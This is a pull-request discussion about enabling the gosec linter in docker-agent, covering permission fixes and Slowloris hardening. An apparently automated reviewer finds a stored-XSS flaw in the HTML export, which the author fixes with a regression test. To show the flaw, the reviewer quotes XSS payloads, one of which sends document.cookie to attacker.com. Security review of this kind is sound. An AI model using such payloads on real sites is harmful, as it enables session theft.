ci: enable gosec linter

[dgageot]

Enables gosec in golangci-lint and handles the resulting findings. Split into two reviewable commits.

Commit 1 — ci: enable gosec for file-permission rules (G301/G302/G306)

Scopes gosec to file-permission rules so future regressions of the project's 0o700/0o600 convention for on-disk private state are caught in CI.

• Real fix uncovered by the new check: pkg/modelsdev/store.go was the only outlier — its cache directory used 0o755 and its cache file used 0o644, while every sibling cache (pkg/cache, pkg/content, pkg/history, pkg/userconfig, etc.) uses 0o700/0o600. Tightened to match the convention.
• Legitimate exceptions silenced inline with one-line reasons: snapshot's git-layout files (mirror what + "git init" + writes), toolinstall binaries that need + "+x" + , exported HTML, the MCP catalog, the unix-socket parent directory, the LSP file-rewrite (mode is a no-op when the file pre-exists), and the pulled-yaml / first-run-marker writes in cmd/root.
• Test files are excluded from gosec wholesale (legitimate + "0o755" + and chmod for permission-failure scenarios).

Commit 2 — ci: broaden gosec coverage with targeted exclusions and inline silences

Switches from the file-perm allowlist to a broader run that excludes systematically noisy rule families globally and silences the remaining legitimate exceptions inline.

Excluded rule families (rationale in .golangci.yml)

Rule	Reason
G101 (hardcoded credentials)	False positives on tool-name constants and intentionally-public client telemetry keys; + "secretsscan" + covers real cases.
G104 (errors unhandled)	+ "errcheck" + is already enabled and matches the patterns we care about.
G204 (subprocess with variable)	docker-agent intentionally launches user-configured commands (LSP, hooks, agents, editors).
G304 (file inclusion via variable)	Paths come from CLI flags, validated config, and tempdirs throughout the codebase.
G404 (weak RNG)	+ "math/rand" + is used for jitter, model selection, and spinner animations — never for security.
G602 (slice bounds)	False positive on dynamically-validated indices.
G702/G703/G704 (taint analysis)	Paths, URLs, and commands are derived from validated config or user-set environment.

Real fixes uncovered by the broader run

• pkg/mcp/server.go, pkg/server/server.go: add ReadHeaderTimeout: 10 * time.Second to harden against Slowloris (G112).
• pkg/tui/tui.go: explicitly discard ignored Close/Remove return values via + "_ =" + (G104) — better Go style and self-documents intent.

Inline + "//nolint:gosec" + for the rules we keep enabled

• G115 (int overflow): bounded values from validated YAML schemas and model API constraints (frozen pre-latest config versions, + "MaxTokens" + / + "ThinkingBudget" + in model providers).
• G117 ( + "access_token" + JSON marshaling): intentional in OAuth token storage and the debug command that prints (truncated) tokens.
• G118 (goroutine context detached): three deliberate fire-and-forget patterns — telemetry events, OTel SDK shutdown, and post-request StreamStoppedEvent forwarding.
• G201/G202 (SQL formatting/concatenation): + "pkg/rag/strategy" + queries embed internal table names; values are always bound parameters.
• G203 (template HTML auto-escape): + "pkg/app/export/html.go" + renders content already escaped by sub-templates or constant SVG/CSS embedded at build time.

Validation

• + "task lint" + — 0 issues across golangci-lint, the custom lint/ rubocop-go cops (1015 files), and go mod tidy --diff.
• + "task test" + — full suite passes.

[docker-agent]

Assessment: 🔴 CRITICAL

One confirmed high-severity finding: an incorrect //nolint:gosec justification that suppresses a real XSS vulnerability in the HTML export path.

Summary of changes reviewed: This PR enables gosec in golangci-lint and handles its findings with a mix of inline //nolint:gosec suppressions (with justifications) and real bug fixes (Slowloris hardening, file permission tightening). The overall approach is sound and the real fixes are correct.

Finding: The nolint comment at pkg/app/export/html.go:467 claims the goldmark renderer produces safe HTML, but the renderer is configured with html.WithUnsafe() which passes raw HTML through verbatim — making the claim false and the XSS suppression unjustified. See inline comment for details.

[docker-agent]

[HIGH] Incorrect nolint justification: html.WithUnsafe() means the Goldmark renderer does NOT produce safe HTML

The markdown renderer (defined at line ~49) is configured with html.WithUnsafe(), which instructs goldmark to pass raw HTML nodes through verbatim into its output. The //nolint:gosec // markdown renderer produces safe HTML comment is therefore factually incorrect.

When an AI assistant message (msg.Content) contains raw HTML — for example:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">

…goldmark will emit that HTML verbatim, and wrapping the result in template.HTML() tells Go's html/template engine to skip its auto-escaping. The result is a stored XSS in the exported HTML file: any user who opens the export in a browser is affected.

The PR description's justification ("content already escaped by sub-templates or constant SVG/CSS embedded at build time") applies to the SVG icon and CSS constants, not to msg.Content, which is runtime AI-generated data.

Fix options:

1. Remove html.WithUnsafe() from the goldmark renderer (safe Markdown rendering, disallows raw HTML passthrough), OR
2. Run the rendered HTML through a sanitizer (e.g., bluemonday) before casting to template.HTML, OR
3. HTML-escape msg.Content before passing it to renderMarkdown — but this will also escape legitimate Markdown.

Option 1 is the simplest: html.WithUnsafe() is only needed if the agent conversation intentionally embeds raw HTML in messages, which is unlikely.

[dgageot]

Good catch — addressed in 93986be.

Fix: removed html.WithUnsafe() from the goldmark renderer (option 1 from the suggestions). Goldmark now strips raw HTML and dangerous URLs (javascript:, vbscript:, data:, etc.) from assistant content before it is wrapped in template.HTML, so the //nolint:gosec justification is now factually accurate.

Added pkg/app/export/html_test.go as a regression test covering:

• block-level <script> / <img onerror=...> are stripped
• inline <script> inside paragraphs is stripped
• [link](javascript:...) is rewritten to a safe href
• legitimate Markdown (headings, emphasis, code blocks) still renders

Also tightened the comment on the markdown parser var so future readers see why WithUnsafe is intentionally absent.

[docker-agent]

Perfect fix — the removal of html.WithUnsafe() is exactly right, and the regression test suite is excellent. I particularly like that you covered both block-level and inline attack vectors (<script> inside paragraphs), plus the javascript: URL case that many developers forget.

The updated comment on the markdown variable (lines 47–48) is much clearer: "Raw HTML and dangerous URLs in input are escaped (no html.WithUnsafe): assistant content is untrusted and would otherwise allow stored XSS in exported HTML files." Future maintainers will immediately understand why WithUnsafe must not be added back.

The //nolint:gosec comments at lines 459 and 467 are now factually accurate — goldmark's default behavior strips raw HTML, so wrapping the output in template.HTML is safe.